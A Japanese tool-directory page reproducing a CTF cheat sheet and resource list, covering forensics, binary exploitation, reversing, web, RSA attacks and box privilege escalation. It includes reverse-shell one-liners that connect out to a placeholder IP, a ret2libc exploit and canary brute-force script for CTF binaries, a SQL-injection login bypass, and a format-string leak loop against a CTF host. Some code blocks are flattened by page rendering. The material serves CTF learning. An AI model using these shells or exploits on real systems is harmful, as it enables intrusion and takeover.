Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CTFs — CTF チートシート + 私が参加したセキュリティCTFのいくつかのライトアップ / ファイル | Kitploit
ツール/GitHubGitHub/adamkadaban/ctfs
OSINT (オープンソースインテリジェンス)リバースエンジニアリングフォレンジックウェブセキュリティステガノグラフィー暗号化CTFペネトレーションテスト学習と教育厳選リソースバイナリエクスプロイトラボと実践
84767939ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
adamkadaban/ctfs

CTFs

CTF チートシート + 私が参加したセキュリティCTFのいくつかのライトアップ / ファイル

リポジトリを見るウェブサイト

CTFs

私が行ったいくつかのサイバーCTFのWriteups / ファイル

また、CTFリソースのリストと、多数の一般的なCTFチャレンジを網羅した包括的なチートシートも含めています。

[!NOTE] このリポジトリのWebミラーが hackback.zip で利用可能になりました。

目次

  • リソース

    • YouTubeチャンネル
    • 練習 / 学習サイト
      • CTF
      • 一般
      • Pwn
      • Rev
      • Web
      • Crypto
      • スマートコントラクト
      • クラウド
      • ペネトレーションテスト
  • CTFチートシート

    • フォレンジック / ステガノグラフィ
      • 一般
      • 音声
      • 画像
      • 動画
      • マシンイメージ
      • Pcap
    • Pwn / バイナリエクスプロイト
      • 一般
      • バッファオーバーフロー
      • PIE(位置独立実行)
      • NX(実行不可)
      • ROP(静的にリンクされたバイナリ用)
      • スタックカナリア
      • フォーマット文字列の脆弱性
      • シェルコード
      • Return-to-Libc
    • リバースエンジニアリング
      • SMTソルバー
      • バイト単位チェックのリバース
      • gefを用いた文字列の検索
    • Web
      • 入力フィールドのファジング
    • Crypto
      • CyberChef

      • 一般的な暗号

      • RSA

        • pycryptodomeでRSA情報を取得
        • 中国剰余定理 (p,q,e,c)
        • Coppersmith攻撃 (c,e)
        • Pollard攻撃 (n,e,c)
        • Wiener攻撃 (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • Box
      • 接続
      • 列挙
      • 特権昇格
      • リバースシェルの待受
      • リバースシェル
      • インタラクティブシェルの取得
        • Linux
        • Windows / 一般
    • OSINT
    • その他

リソース

YouTubeチャンネル

  • John Hammond
    • 以前は多くのCTF動画を作成していましたが、現在は別のことに移行しています。
    • それでも非常に多くの有用な動画があります。特にCTF関連の動画は、サイバーセキュリティを始めたばかりの人に教えるのに最適です。
  • Live Overflow
    • サイバーセキュリティについて非常に興味深く、詳細な動画を作成しています。
    • 素晴らしいpwnシリーズがあります。
  • IppSec
    • HackTheBoxの全マシンの解説を行っています。
      • さまざまな解法やその理由について説明してくれるので、非常におすすめです。
  • Computerphile
    • Numberphileと同じ人たちですが、よりクールです。基本的な概念について非常に初心者向けで直感的な動画を作っています。
  • pwn.college
    • ASUの教授で、pwnに関する多数の動画があります。
    • ガイド付きコース教材: https://pwn.college/
    • 多数の練習問題: https://dojo.pwn.college/
  • PwnFunction
    • さまざまなトピックについて、非常に高品質で分かりやすいアニメーション動画を作成しています。
    • トピックはやや高度ですが、理解しやすいです。
  • Martin Carlisle
    • picoCTFのチャレンジについて素晴らしい解説動画を作成しています。
  • Sam Bowne
    • CCSFの教授で、すべての講義とコース教材を彼のウェブサイトで公開しています。
  • UFSIT
    • UFのサイバーセキュリティチーム(多少偏っていますが、この分野では間違いなく優れたYouTubeチャンネルの一つです)。
  • Gynvael
    • 驚くほど直感的な動画解説を作成しています。picoCTF 2019の全問題を解説したことがあります(膨大な量です)。
  • Black Hills Information Security

トーク

以下に私がまとめたスライドがあります: hackback.zip/presentations

練習 / 学習サイト

CTF

  • PicoCTF
    • 数多くの素晴らしい練習問題があります。
    • 間違いなく、始めるのに最適なサイトです。
  • UCF
    • 全体的に良いですが、特にpwnの練習に適しています。
    • 現在、こちらに解説を追加しています。
  • hacker101
    • CTFですが、ややペネトレーションテスト向けです。
  • CSAW
    • 90%の確率でダウンしており、通常は接続が機能しません。
    • ただし、起動している場合は、初心者向けの良いチャレンジが多数あります。
  • CTF101
    • 私が見た中で最も優れたCTF入門サイトの一つです(osirisに感謝)。
    • 非常に簡潔で初心者に優しいです。

一般

  • HackTheBox
    • 老舗のBoxサイト
      • Boxは品質を保証するために厳選されています。
    • 現在はCTF形式の問題もあります。
    • 学習を始めるためのコースも用意されています。
  • TryHackMe
    • HackTheBoxよりやや簡単なBoxです。
    • ステップバイステップのチャレンジ。
    • 現在はトピックをガイドする「学習パス」があります。
  • CybersecLabs
    • 優れたBoxのコレクション。
    • CTF関連のものもあります。
  • VulnHub
    • 自分でデプロイする必要がある脆弱な仮想マシンがあります。
    • 多種多様ですが、良いものを見つけるのは難しいと思います。

Pwn

  • pwnable.kr
    • 難易度の幅が良いチャレンジ。
  • pwnable.tw
    • pwnable.krより難しい。
    • チャレンジを解くと解説が表示されます。
  • pwnable.xyz
    • さらにpwnチャレンジ。
    • チャレンジを解くと解説が表示されます。
    • すべてのチャレンジを解くと、自分のチャレンジをアップロードできます。
  • pwn dojo
    • 私の意見では、pwnチャレンジの最高のコレクション。
    • スライドで学習方法をサポートし、ヘルプが必要な場合はDiscordもあります。
  • nightmare
    • Cバイナリをpwnするための決定版。
    • いくつかの間違いやタイプミスがありますが、全体的に素晴らしいです。
  • pwn notes
    • オンラインの誰かのメモ。
    • 非常に表面的ですが、すべての入門に適しています。
  • Security Summer School
    • ブカレスト大学のセキュリティコース。
    • 非常に初心者に優しい説明。
  • RPISEC MBE
    • RPIの現代バイナリエクスプロイトコース。
    • 実践的なラボ/プロジェクトが豊富で、(少し古い)講義もあります。
  • how2heap
    • ASUのCTFチームによるヒープエクスプロイトシリーズ。
    • エクスプロイトの仕組みを示す非常にクールなデバッガ機能が含まれています。
  • ROPEmporium
    • 主要なアーキテクチャごとにReturn-Oriented-Programmingを教えるチャレンジセット。
    • 非常に高品質。最も基本的なものから最も高度なテクニックまで教えます。
    • 現在、こちらに自分の解説を追加しています。
  • Phoenix Exploit Education
    • 難易度順に並べられた多数のバイナリエクスプロイト問題。
    • ソースコードが含まれ、すべてのバイナリを含むVMが付属しています。

Rev

  • challenges.re
    • 非常に多くのチャレンジ 0_0
    • 多種多様。
  • reversing.kr
  • crackmes.one
    • 多数のcrackme(CTFスタイル)チャレンジ。
  • Malware Unicorn Workshops
    • リバースエンジニアリングとマルウェア解析に関する無料ワークショップ。

Web

  • websec.fr
    • 難易度の幅が良い多数のWebチャレンジ。
  • webhacking.kr
    • 優れたWebチャレンジのアーカイブがあります。
  • Securing Web Applications
    • オープンソースのCCSFコース。
  • OWASP Juice Shop
    • ペネトレーションテスト向けですが、CTFのWeb探索に役立ちます。
    • 合計100以上の脆弱性/チャレンジ。
  • PortSwigger
    • Webハッキングを理解するための決定版。
    • 多数の素晴らしいチャレンジと解説。
  • DVWA
    • ペネトレーションテスト向けですが、CTFのWeb探索に役立ちます。
  • bWAPP
    • ペネトレーションテスト向けですが、CTFのWeb探索に役立ちます。
  • CTF Challenge
    • Adam Langleyが作成したWebチャレンジ集で、可能な限り現実的になるよう作られています。
    • バグバウンティの経験を積むのに適しています。

Crypto

  • CryptoHack
    • 現在、こちらに解説を追加しています。
  • cryptopals
    • 老舗の暗号チャレンジサイト。
  • CryptoCTF
    • 年次暗号CTF。過去の年度は 20{19,20,21,22,23,24}.cr.yp.toc.tf でアクセス可能。

スマートコントラクト

  • Capture the Ether

クラウド

  • CloudFoxable
    • cloudfoxを使用して悪用される脆弱な環境をセットアップする手順を説明。
  • flaws.cloud
    • S3、EC2、Lambdaでシークレットを見つける無料チャレンジ。

ペネトレーションテスト

  • hacker101
  • hacksplaining
  • Exploit developement
    • オープンソースのCCSFコース。
  • Intro to Security
    • UC San DiegoのDeian Stefan教授によるコース。
    • 基本的なpwnと暗号をカバー。
  • Active Directory Cheat Sheet
  • WADComs
    • Windows/AD環境向けのインタラクティブなチートシート。
  • LOLBAS
    • Windowsの「Living off the land」バイナリ、スクリプト、ライブラリのためのインタラクティブなチートシート。
  • GTFOBins
    • Linuxの「Living off the land」テクニックのためのインタラクティブなチートシート。

CTFチートシート

フォレンジック / ステガノグラフィ

一般

  • AperiSolve
    • 他のステゴツールを自動的に実行するツール。
  • John Hammondによるさまざまなタイプのチャレンジに非常に役立つリソース:
    • https://github.com/JohnHammond/ctf-katana
  • チャレンジの作成と解決のためのもう一つの非常に優れたチートシート:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <file.xyz>
    • ファイルの種類を判別します。
  • steghide
    • steghide extract -sf <file.xyz>
    • 埋め込まれたファイルを抽出します。
  • stegseek
    • stegseek <file> <password list>
    • 単語リストを使用して埋め込まれたファイルを抽出します。
    • 非常に高速です。
  • binwalk
    • binwalk -M --dd=".*" <file.xyz>
    • 埋め込まれたファイルを抽出します。
  • exiftool
    • exiftool <file.xyz>
    • メタデータを読み取ります。
  • strings
    • strings <file.xyz>
    • ファイル内のすべての印刷可能文字を検索します。
  • hexedit
    • hexedit <file.xyz>

音声

  • ファックス機の音声:

    • 例
    • デコーダ
  • SSTV(スロースキャンテレビ)音声(月関連)

    • 例
    • デコーダ
    • 代替デコーダ
    • qsstvの設定は以下を使用:

    SSTV settings

  • スペクトログラム画像

    • デコーダ
  • ピッチ、速度、方向の変更...

    • ピッチ、速度、チューン
    • 逆再生
  • DTMF(デュアルトーン多重周波数)電話キー

    • multimon-ng -a DTMF -t wav <file.wav>
      • これらはマルチタップ文字である可能性があることに注意してください。
        • こちらで数字をテキストにデコードできます。
  • カセットテープ

    • 例
    • デコーダ(wavからtapファイルへ)
  • モールス信号

    • デコーダ

画像

  • stegsolve

    • ビットを切り替えます。
  • foremost

    • 画像を抽出するための特別なツール。
    • 壊れた画像(例:pcap内)を結合するために使用できます。
  • Depix

    • ピクセル化されたテキストを元に戻します。
  • Photoshopで加工されたかどうかを確認(ハイライトを見る)

    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg

    • LSBデコーダ。
  • jsteg

    • JPEGステガノグラフィソルバー。
  • pixrecovery

    • これまでに見つけた中で最も効果的なPNG復元ツール(透かしを気にしない場合)。
    • photopeaも非常に効果的です。
  • crc32fix

    • チェックサムに基づいてPNGの高さと幅を修正します。
  • PCRT

    • PNGのヘッダーとフッター情報を修正します。
  • png-crc-fix

    • PNGのチェックサムを修正します。
  • pngcheck

    • PNGにエラーがないか確認します。
    • pngcheck <file>

動画

マシンイメージ

  • ファイルの復元
    • photorec <file.bin>
  • イメージを仮想マシンとしてマウントできます。
    • https://habr.com/en/post/444940/
  • .imgファイルのマウント:
    • binwalk -M --dd=".*" <fileName>
    • 出力で file を実行し、Linuxファイルシステムファイルを選択します。
    • losetup /dev/loop<freeLoopNumber> <fileSystemFile>

Pcap

  • tcpflowでデータを抽出
    • tcpflow -r <file.pcap>
  • wiresharkでデータを抽出
    • ファイル → オブジェクトをエクスポート → 選択

Pwn / バイナリエクスプロイト

  • この分野については、私のLearnPwnリポジトリを参照することをお勧めします。このチートシートはpwnについてあまり知らなかった頃に作成したものです。
    • ただし、ここにある内容に補足する形でいくつかのメモを追加しています。

一般

  • ELFのセキュリティチェック
    • checksec <binary>
    • rabin2 -I <binary>
  • PEのセキュリティチェック
    • binary-security-check
    • binary-security-check <bin>.exe
  • seccomp bpfのチェック
    • seccomp-tools
    • seccomp-tools dump ./<binary>
  • シンボルを表示
    • readelf -s <binary>
  • 文字列を表示
    • rabin2 -z <binary>
  • アドレスをバイトにパック
    • リトルエンディアン(32ビット用)
      • python -c "import pwn; print(pwn.p32(<intAddr>))
    • ビッグエンディアン(64ビット用)
      • python -c "import pwn; print(pwn.p64(<intAddr>))
    • pwntoolsは自動的に正しいエンディアンでアドレスをパックします。

バッファオーバーフロー

  • /bin/shシェルを取得する必要があり、それが確実に動作するが、プログラムが終了してしまう場合は、次のトリックを使用します:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
    • pwntoolsは process.interactive() でこれを実行します。

PIE(位置独立実行)

  • ランダム値の特定
    • ペイロードを生成するには pwn cyclic <numChars>
    • dmesg | tail | grep segfault でエラー箇所を確認
    • pwn cyclic -l 0x<errorLocation> で命令ポインタを制御するためのランダムオフセットを取得
    • 例

NX(実行不可)

  • ROP(Return Oriented Programming)を使用して解決できます。

ROP(静的にリンクされたバイナリ用)

  • ROPGadget
    • ガジェットを表示し、ROPチェーンを自動生成
    • ROPgadget --ropchain --binary <binary>
      • コードの先頭にパディング(バッファとリターンアドレスの差に基づく)を追加し、コードを実行してシェルを取得できます。
      • デモ
  • ropr

スタックカナリアデバッガ内でスタックカナリアを見つける

  • スタックカナリアは、EIP/RIP(命令ポインタ)の前に配置される値で、バッファオーバーフローによって上書きされる可能性があります。プログラムは基本的に、スタックが元の値とは異なる値に上書きされるとエラーを引き起こします。私たちの目標は、元のスタックを見つけ、オーバーフロー時にプログラムが正常に動作するようにすることです。
  • スタックカナリアは、それぞれ32ビットと64ビットの場合、gs または fs から取得されます。
    • 逆アセンブリ内で、何かが読み込まれる前に、次のような行が表示されます:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
- ここで、スタックカナリアはオフセット+8で `rax` に移動されます。
    - したがって、次のオフセットでブレークし、rax の中身を確認します(`i r rax`)。これにより現在のカナリアが何であるかがわかります。

**静的カナリア**
- カナリアが静的になるのは、プログラマーが手動で実装した場合(一部の入門的なpwnチャレンジで見られる)、またはプログラムをフォークできる場合のみです。
    - バイナリをフォークすると、フォークされたプロセスは同じカナリアを持つため、それに対して1バイトずつブルートフォースを行うことができます。

**補足**
- スタックカナリアが不正に上書きされると、 `__stack_chk_fail` の呼び出しが発生します。
    - カナリアをリークできない場合、GOTテーブルを変更してその呼び出しを防ぐこともできます。
- カナリアは現在のスタックの `TLS` 構造体に保存され、 `security_init` によって初期化されます。
    - 実際のカナリア値を上書きできる場合、オーバーフローで決定した任意の値に設定することができます。

- 静的4バイトカナリアをブルートフォースするためのシンプルなスクリプト:```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

書式文字列の脆弱性

  • printf(buf) などのようなものを見つけた場合、何を試すべきかは表2を参照してください:
    • https://owasp.org/www-community/attacks/Format_string_attack
  • John Hammond が picoCTF 2018 の 'echooo' チャレンジに取り組んでいる動画を強くお勧めします。
  • 時々、スタックから文字列のみを表示しようとして '%s %s %s %s %s %s' のようにすると、スタック内のすべてが文字列とは限らないためエラーが発生することがあります。
  • 代わりに '%x %x %x %x %x %s' を使用することで、その問題を軽減できます。
  • %x や %s の数を増やし続ける代わりに、パラメータを渡して簡単にすることができます:
    • %1$s - スタックの最初の値(私の理解では、バッファのすぐ隣の値)を文字列として表示します。
    • %2$s - 2番目の値を文字列として表示します。以下同様です。
    • ワンライナーのループを使用してスタックをリークし、フラグを見つけることができます。^C(Ctrl + C)を押すと次の値に進みます。
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • 異なるサイズパラメータを使用して、リークする量を制御できます:
    • %hhx は1バイト(intサイズの半分の半分)をリーク
    • %hx は2バイト(intサイズの半分)をリーク

シェルコード

  • 異なるシェルコードを見つけるのに良いウェブサイト:
    • http://shell-storm.org/shellcode/

Return-to-Libc

  • EIP を上書きして system() ライブラリ関数を呼び出し、さらに実行すべき内容(この例では "/bin/sh" を含むバッファ)を渡します。

  • 良い解説:

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • 良い例 (3:22:44 にジャンプ):

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • execve("/bin/sh") のアドレスを取得する

    • one_gadget <libc file>
  • すでに libc ファイルと位置がわかっている場合(つまり、それらをリークする必要がない場合...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## Reverse Engineering

> 便利なガイド: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - 非常に便利なデコンパイラ
- dotPeek または dnSpy
    - .NET 実行可能ファイルを逆コンパイル
- [jadx](https://github.com/skylot/jadx) および jadx-gui
    - APK を逆コンパイル
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - Java をオンラインで逆コンパイル
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - 高度なターミナルベースの Java デコンパイラ
- apktool
    - APK を逆コンパイル
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - バイナリ解析
    - [peda](https://github.com/longld/peda) (機能拡張のための拡張)
    - [gef](https://github.com/hugsy/gef) (pwner向けgdb拡張)
- [radare2](https://github.com/radareorg/radare2)
    - バイナリ解析
- [FLOSS](https://github.com/mandiant/flare-floss)
    - 強化版 `strings`。静的解析を使用して文字列を検出・計算します。

#### SMT ソルバー
- [angr](https://github.com/angr/angr) (python)
    - [Docs](https://docs.angr.io/core-concepts/toplevel)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### バイト単位チェックのリバース (サイドチャネル攻撃)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- タイムベース攻撃を使用するチャレンジ用に作成したバージョン:
    - ランダム性を考慮して数回実行する必要があるかもしれません```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

gef での文字列検索

  • フラグが変数やレジスタに読み込まれている場合、その移動後にブレークし、grep <string> を実行すると、gef が検索パターンに一致する文字列を自動的に表示します。

Web

  • Nikto (許可されている場合)
    • 脆弱性を自動的に探します
  • gobuster (許可されている場合)
    • ディレクトリとファイルをブルートフォースします
  • hydra (許可されている場合)
    • 様々なサービスのログインをブルートフォースします
  • BurpSuite
    • Webリクエストをインターセプトし、変更を可能にします
  • Wireshark
    • ライブネットワークトラフィックとpcapファイルを分析します
  • php reverse shell
    • ファイルのアップロードを許可するWebサイトに便利です
    • このファイルはサーバー上で実行される必要があります
  • WPScan
    • WordPressサイトをスキャンします
    • 最良の結果を得るには、APIキーを使用して wpscan --url <site> --plugins-detection mixed -e を実行します
  • jwt
    • base64エンコードされたJSON(つまりJWTトークン)は"ey"で始まるため、JWTトークンを識別できます
    • このサイトはJSON Webトークンをデコードします
    • JSON Webトークンの秘密鍵をクラックして、独自のトークンを修正および署名できます
      • echo <token> > jwt.txt
      • john jwt.txt
  • SQLインジェクション
    • sqlmap
      • sqlmap --forms --dump-all -u <url>
      • SQLインジェクションのプロセスを自動化します
    • 基本的なSQLインジェクション
      • ログインフォームに 'OR 1=1-- を入力します

入力フィールドのファジング

  • FFUF
    • リクエストを入力フィールドにコピーし、パラメータを"FUZZ"に置き換えます:
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • -fs を使用してサイズをフィルタリングします

暗号

CyberChef

  • CyberChef
    • 様々な暗号操作を実行します

暗号検出器

ハッシュ

  • hashid
    • ハッシュタイプを検出するコマンドラインユーティリティ

共通の暗号

  • シーザー暗号
  • ヴィジュネル暗号```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [換字暗号](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [鍵付きシーザー暗号](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### pycryptodomeを使用してRSA情報を取得する```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

中国剰余定理 (p,q,e,c)

  • nを因数分解できる場合に使用する

    • 実装が不適切だと、nは複数の素因数を持つことがある
    • 証明
  • 古い```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- 新規```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • 因数とオイラーのトーシェント(phi)を与えるウェブサイト
    • https://www.alpertron.com.ar/ECM.HTM

Coppersmith攻撃(c, e)

  • 指数が非常に小さい場合(e <= 5)によく使われる

    • 証明```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### Pollards attack (n,e,c)
- [Pollard's factorization method](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf)に基づき、素数積が(B)smoothである場合、[容易に因数分解](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf)できるようにする
    - これは、`p-1 | B!` かつ `q - 1` が `B` より大きい因数を持つ場合に該当する```python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

Wiener Attack (n,e,c)

  • dが小さすぎる(またはeが大きすぎる)場合に使用
    • この pythonモジュールを使用
    • 証明```python from Crypto.Util.number import * import owiener

n = e = c =

d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## ボックス

### 接続

- ssh
    - `ssh <username>@<ip>`
    - `ssh <username>@<ip> -i <private key file>`
    - SSHをローカルにファイルシステムとしてマウントする:
        - `sshfs -p <port> <user>@<ip>: <mount_directory>`
    - 既知のホスト
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
    - `nc <ip> <port>`
    

### 列挙

- マシン発見
    - `netdiscover`
- マシンポートスキャン
    - `nmap -sC -sV <ip>`
- Linux列挙
    - `enum4linux <ip>`
    
- SMB列挙
    - `smbmap -H <ip>`
- SMB共有に接続
    - `smbclient //<ip>/<share>`

### 権限昇格

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - 自動的に権限昇格ベクトルを探す
- ルートとして実行可能なコマンドを一覧表示
    - `sudo -l`
- SUIDパーミッションを持つファイルを検索
    - `find / -perm -u=s -type f 2>/dev/null`
    - これらのファイルは、実行ユーザーではなく所有者の権限で実行される
- すべてのサービスの権限を検索
    - `accesschk.exe -uwcqv *`
    - SystemまたはAdministratorアカウント配下にないサービスを探す
- サービスのクエリ
    - `sc qc <service name>`
    - cmd.exeでのみ動作

### リバースシェルの待ち受け

- `nc -lnvp <port>`

### リバースシェル

- revshells.com
    - 基本的に必要なものすべてのテンプレート
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`

### インタラクティブシェルを取得

#### Linux

1. 次のpythonコマンドを実行して部分的にインタラクティブにする: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. `CTRL+Z`でnetcatセッションを終了し、ローカルで`stty raw -echo`を実行する
3. コマンド`fg`でセッションに再入する(必要に応じてジョブIDを後ろにつける)
4. `export TERM=xterm`を実行してターミナルエミュレータをxtermに変更する(必須ではない)
5. `export SHELL=bash`を実行してシェルをbashに変更する(必須ではない)
6. 完了!これでシェルは完全にインタラクティブになるはず

#### Windows / 一般

1. システムに`rlwrap`をインストールする
2. 以降、ncリスナーを実行するたびに、先頭に`rlwrap`を付ける
3. 例: `rlwrap nc -lvnp 1337`
    * これにより矢印キーとコマンド履歴が使えるようになるが、Windowsおよび*nixシステムではオートコンプリートは使えない(私の知る限り)

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - インターネット上の顔の逆検索
- [OSINT Framework](https://osintframework.com/)
    - 多数のOSINTツールを集約したウェブサイト
- [GeoSpy AI](https://geospy.ai)
	- 画像から位置情報を推定できる地理空間ビジョンLLM
- [overpass turbo](https://overpass-turbo.eu)
	- OpenStreetMap APIをクエリして結果を可視化できるウェブサイト
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
	- OSM APIを簡単にクエリできるウェブサイト

## その他

- DNSエラーの解決
    - `dig <site> <recordType>`
    - [レコードタイプ一覧](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - 必ずTXTも試す
- 別のアーキテクチャとしてバイナリを実行
    - 64ビット:
        - `linux64 ./<binary>`
    - 32ビット:
        - `linux32 ./<binary>`
        
